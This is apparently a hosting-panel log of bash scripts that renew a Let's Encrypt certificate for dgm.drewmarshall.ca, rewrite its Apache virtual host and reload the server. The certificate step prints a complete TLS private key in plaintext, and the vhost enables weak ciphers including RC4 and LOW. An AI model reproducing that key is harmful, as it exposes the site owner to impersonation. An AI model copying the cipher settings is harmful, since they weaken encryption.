MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 15:54:16: Establishing a connection
2026-01-03 15:54:16: Establishing a connection
2026-01-03 15:54:17: 

PUT: /tmp/pkp135366

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 15:54:17: 

chmod 755 /tmp/pkp135366; /tmp/pkp135366; rm /tmp/pkp135366

2026-01-03 15:54:17: 


1


2026-01-03 15:54:18: Establishing a connection
2026-01-03 15:54:18: 

PUT: /tmp/pkp208059

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU


2026-01-03 15:54:18: 

chmod 755 /tmp/pkp208059; /tmp/pkp208059; rm /tmp/pkp208059

2026-01-03 15:54:18: 




2026-01-03 15:54:28: Establishing a connection
2026-01-03 15:54:28: 

PUT: /tmp/pkp962886

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm vC-wyZ9xukJdqqyZaqiM6MVz5FTXPh_PS42sCsuXUNU


2026-01-03 15:54:29: 

chmod 755 /tmp/pkp962886; /tmp/pkp962886; rm /tmp/pkp962886

2026-01-03 15:54:29: 




2026-01-03 15:54:29: Establishing a connection
2026-01-03 15:54:29: 

PUT: /tmp/pkp656245

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
60:bd:e9:68:77:1c:26:ee:20:b2:82:ed:e7:62:1f:3b

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqGojxvU3ieMrs3zX181sLHBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTQ1NTU3WhcNMjYwNDAzMTQ1NTU2WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAv1qTFhAfC1oiLMfV204nEVy9gZ/rFN0HE7YjY6A+W+nEU+w7n5pjkCOI
9fZ0LJx66ubILnhpogJFSw6TGzka9BzhJOGZkTy2ZirjvSrefUYVxqg9KITC03R2
oUIOfpFxWKzm2xKRGc/OQxIodAonIKsBdvnY+mVMTbALRIx7IMNdzXjfa0ihRpnp
EXeb5oNPb0EV5IFzDPpbUoB4p22vFanCFxTomKv8g+Rzs9m2q2B1eGrIJkagIPXV
3CcuyBTB6C1OFaxX3kvwSr0ecaZ9Q9u4l7RMY066xOMpLzs3jITieJFuhIFBuVB5
nMlrjVPb5BJd6cq1gEJ8NTMfv4yjxQIDAQABo4ICKjCCAiYwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTi2oFw/8Z0f5owiJo+nkqnaetF7zAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuEkTbqAAAE
AwBHMEUCIQDozYiB4vt8i5jYdZXO1/9+LhVxO1m3fInRTCdvwrw2LQIgfqgcU209
kBkgOqGdHtKnn6pUbltKnH2mNuEJL5x9NMkAfQBxfpXzwjiKbbHjhEk9MeFaqWII
di1CAOAFDNBntaZh4gAAAZuEkTeMAAgAAAUABexkTgQDAEYwRAIgZ/ReX+RTrXnH
2u3++aeFB2jTL75Eit+q1+bvfzgkMZACIDqoGB1rULpWX6+kXCYcRy8jI9K7yN9i
/gRJxQMLcbB5MA0GCSqGSIb3DQEBCwUAA4IBAQBfczdbgchn3yYweXA2iDdsDsdj
qeWmJ/vuIvbfzPopvb7zUDZOKGm1LfO2t5en+X3rt3n/upx4aIv/JWShXu1Wb6X6
TBCFXQaQb/CtVt3E6TpKTQqjjei7RY8OXpYQe3e2OeIyof+0u3L5/Ok3MNpMa9JT
BRiJu3UqP7O5erIpNCZr+XWmKnhZet1ybjUs0mpQH4B4qJxXzsMoWjU94xAPhYL/
sXOcZxX76/ZQy1oWellWVsYy3wiR/hypW0a3uEZ2Ds5wFw38Q1+xBHVkRHDmxh+G
8df2tnQiMxBdN60NRCfnXjiEsk/UnIaG4JuZXwuPY6KH+VrUfD2lWcb+dWQV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/WpMWEB8LWiIs
x9XbTicRXL2Bn+sU3QcTtiNjoD5b6cRT7DufmmOQI4j19nQsnHrq5sgueGmiAkVL
DpMbORr0HOEk4ZmRPLZmKuO9Kt59RhXGqD0ohMLTdHahQg5+kXFYrObbEpEZz85D
Eih0CicgqwF2+dj6ZUxNsAtEjHsgw13NeN9rSKFGmekRd5vmg09vQRXkgXMM+ltS
gHinba8VqcIXFOiYq/yD5HOz2barYHV4asgmRqAg9dXcJy7IFMHoLU4VrFfeS/BK
vR5xpn1D27iXtExjTrrE4ykvOzeMhOJ4kW6EgUG5UHmcyWuNU9vkEl3pyrWAQnw1
Mx+/jKPFAgMBAAECggEADr3yoPuC+MPr6BlJL4kY12yWqPriCIxytCEPHujEhR5A
YtrLSSOC0iL6tUBUeO9hROGcwH/EW5fjMMIhsTI4EmB7M/UxeI/92WcqfnNkCrCw
ksp5U7rOq63ISeol5bhczCEd8/i9Nwjccixe83moxAqIpVrgTYIqW73ZUGGmRsLE
KOeel2DBNyYOnw4p/DqbNmJoIfZ8o5RNs/kBO2sgtd343RnXxWdCDtrKWynrFxxc
zQd2EeWZ9OeeHcDXu9t1Y+yvYl6re4TMJ56am9KWzBfNbtnFXHu8iwSBv5+dLuQ0
OIlPeorU2wgR1kZcf7NDTk5CJVAugH8DiCPezqspAQKBgQDwxf7K8YaRnNMsiPBs
2PAOhB3lOGNO4RvbqM9lDBzy4/EI4Dh8k/cZxl4oiIo6d6gNFVq+SRoq0GuXlseG
fWUUmGVkg2Zm3EHs0ELABldm/uwc5ygL3CHdFaWcV9OX6eRBXi3NKD2aMp8z5CeV
hkRY6b0LC1oKSsnLFYynxFKUQQKBgQDLdH/vt0tIz3xQ4ol2oDq0Hc8mG3smpwen
wUiRLUV49lBJ6tI8syyse3dTVa8zIysNTef6YaB5clRyOQ4NJ8rxVfZ+Le3TsSdJ
LI8/NxMf3khP2vnch1KJeqiloO5m+Wlbcz6qv3l7Hf6M8Q3/S/prOFCI47JWtAAR
Wa9YKcYehQKBgHrIrae2xaZKMFK8vsbzVnBApbI4MESQfZFmI+Vm6Phgj5G0Lnox
RsjpJSlMgBlS3etWIYF6bBK7WLLkXHnURpDbKpG4hKcd2ay3g+LDGR1YEPaoVv69
UrOZD2yMSUZmK1W+fmLqC4gwGonu5tTUtNQW1qXkMxWekAu1wJXpgydBAoGAVZFC
uWQCgrXY1//exohvCA+9bo6CRehb3N76kSxUGqKlc+ER2LuWn1gyAFd6Huy8j5Tj
areikVFXWM7MLRY+US/RQpI4gx7voePevzx/i5imGwfCrFAxk2aGBVrgyWg+OlsG
0TNEeVZNF6POOkAPKwb9QAVbnQGJQcLRbyfqji0CgYEA0DRjFLYhxx1v2lkn+UZq
QWX2YrOWAOWWzsDlIMqdgGcf9u28pHYAqwbssaEUXSL3mHMHd/OywVPplZyppGmx
xlLmz77wPclV313ejyJ6MMqfJfPssJeQUtAZLl4wol4Z7Egeuldw/DceQeRTULxq
Lpt80i3buXjX0nsTNv7Dwis=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 15:54:29: 

chmod 755 /tmp/pkp656245; /tmp/pkp656245; rm /tmp/pkp656245

2026-01-03 15:54:29: 


dir=/etc/ssl/certs


2026-01-03 15:54:29: 

PUT: /tmp/pkp456094

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 15:54:29: 

chmod 755 /tmp/pkp456094; /tmp/pkp456094; rm /tmp/pkp456094

2026-01-03 15:54:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-03 15:54:29: 

PUT: /tmp/pkp267891

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2026-01-03 15:54:29: 

chmod 755 /tmp/pkp267891; /tmp/pkp267891; rm /tmp/pkp267891

2026-01-03 15:54:29: 




2026-01-03 15:54:29: 

PUT: /tmp/pkp785423

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 15:54:29: 

chmod 755 /tmp/pkp785423; /tmp/pkp785423; rm /tmp/pkp785423

2026-01-03 15:54:29: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 15:54:30: Establishing a connection
2026-01-03 15:54:30: 

PUT: /tmp/pkp460280

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 15:54:30: 

chmod 755 /tmp/pkp460280; /tmp/pkp460280; rm /tmp/pkp460280

2026-01-03 15:54:30: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 15:54:30: 

PUT: /tmp/pkp662396

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 15:54:30: 

